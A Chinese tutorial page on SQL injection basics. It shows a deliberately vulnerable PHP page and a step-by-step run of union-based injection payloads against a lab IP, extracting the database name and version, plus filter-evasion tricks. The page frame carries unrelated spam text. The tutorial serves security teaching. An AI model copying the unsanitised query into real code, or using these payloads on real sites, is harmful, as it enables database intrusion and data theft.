中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

sql注入漏洞的基礎是什么

發布時間:2021-12-10 09:29:05 來源:億速云 閱讀:172 作者:柒染 欄目:大數據

這篇文章給大家介紹sql注入漏洞的基礎是什么,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

一、簡介

SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。

二、產生的原因

1.程序在開發的時候沒對用戶的數據過濾,把用戶的數據都當做可信數據。

2.過濾不嚴格。

3.數據庫配置不當。

4.轉義不當。

三、注入點分類

1、數字型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?id=1 這種形式,其注入點 id 類型為數字,所以叫數字型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where id=1。組合出來的sql注入語句為:select * from news where id=1

2、字符型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?name=aiyou 這種形式,其注入點 name 類型為字符類型,所以叫字符型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where name='aiyou'。注意多了引號。組合出來的sql注入語句為:select * from news where name='admin'

3、搜索型注入:

在 Web 端大概是 http://www.aiyou.com/news.php?keyword=aiyou 這種形式,其原形大致為:select * from 表名 where 字段 like '%aiyou%',組合出來的sql注入語句為:select * from news where search like '%aiyou %'

四、數字型實例

1、新建一個根據id查詢專輯的php頁面

<meta charset="utf-8"><?phpinclude("connect.php");//連接數據庫if(isset($_GET['id'])){    $id=$_GET['id'];    $sql="SELECT * FROM zhuanji WHERE id=$id LIMIT 0,1";    $result=mysql_query($sql);    $row = mysql_fetch_array($result);    if($row)    {      echo '專輯名稱:'. $row['name'];      echo "";      echo '發行時間:' .$row['year'];    echo "";    echo '主 打 歌:' .$row['zhudage'];      }    else    {    print_r(mysql_error());    }}    else        {             echo "網址錯誤";        }?>

2、訪問:http://192.168.1.129/php/szx.php?id=1

sql注入漏洞的基礎是什么

3、測試注入是否存在

http://192.168.1.129/php/szx.php?id=1 and 1=1 返回正常

http://192.168.1.129/php/szx.php?id=1 and 1=2 返回錯誤

存在注入

4、判斷該表的列數

http://192.168.1.129/php/szx.php?id=1 order by 5 返回錯誤

sql注入漏洞的基礎是什么

http://192.168.1.129/php/szx.php?id=1 order by 4 返回正常

sql注入漏洞的基礎是什么

該表有4列

5、聯合查詢

http://192.168.1.129/php/szx.php?id=-1 union select 1,2,3,4

sql注入漏洞的基礎是什么

6、獲取數據庫名稱和mysql版本號

http://192.168.1.129/php/szx.php?id=-1 union select 1,database(),version(),4

sql注入漏洞的基礎是什么

五、mysql5.0以上版本的特性:

默認定義information_schema數據庫,里面具有表schemata(數據庫名)、tables(表名)、columns(列名或字段名)

在schemata表中,schema_name字段用來存儲數據庫名

在tables表中,table_schema和table_name分別用來存儲數據庫名和表名。

在columns表中,tabel_schema存儲數據庫名,table_name存儲表名,column_name存儲字段名

注意:

1、Mysql中的大小寫不敏感,大小寫一樣

2、Mysql中的十六進制與URL編碼都可以識別。

3、符號和關鍵字替換 and--&& or--||,and優先級高于or

4、內聯注釋 /*!內聯注釋*/ ,/*!/*!*/是等效于/*!*/的

關于sql注入漏洞的基礎是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

sql
AI

会昌县| 龙陵县| 绵阳市| 开阳县| 遂平县| 敦化市| 奉贤区| 侯马市| 上饶市| 台北市| 乌拉特中旗| 德江县| 德安县| 北碚区| 宕昌县| 锦州市| 衢州市| 正阳县| 崇阳县| 虞城县| 钦州市| 罗田县| 淮阳县| 林州市| 宝丰县| 赤城县| 福海县| 岳池县| 蓬莱市| 榆社县| 大渡口区| 新田县| 兴安盟| 昌吉市| 西华县| 西乌珠穆沁旗| 乌拉特前旗| 商南县| 垦利县| 新和县| 大宁县|